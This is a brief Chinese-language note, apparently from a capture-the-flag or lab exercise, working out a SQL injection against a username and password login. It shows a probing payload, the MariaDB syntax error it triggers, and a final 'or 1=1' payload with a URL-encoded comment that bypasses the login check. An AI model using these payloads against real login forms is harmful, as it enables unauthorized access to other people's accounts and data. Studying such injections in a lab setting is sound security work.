username and password
初步检验
?username=1' and 1=1 &password=1' and 1=1
报错：You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' and password='1' and 1=1'' at line 1
得出注入点在password，因此闭合username，并且注释password后面的语句（%23为#）
?username=1 or 1=1&password=1' or 1=1%23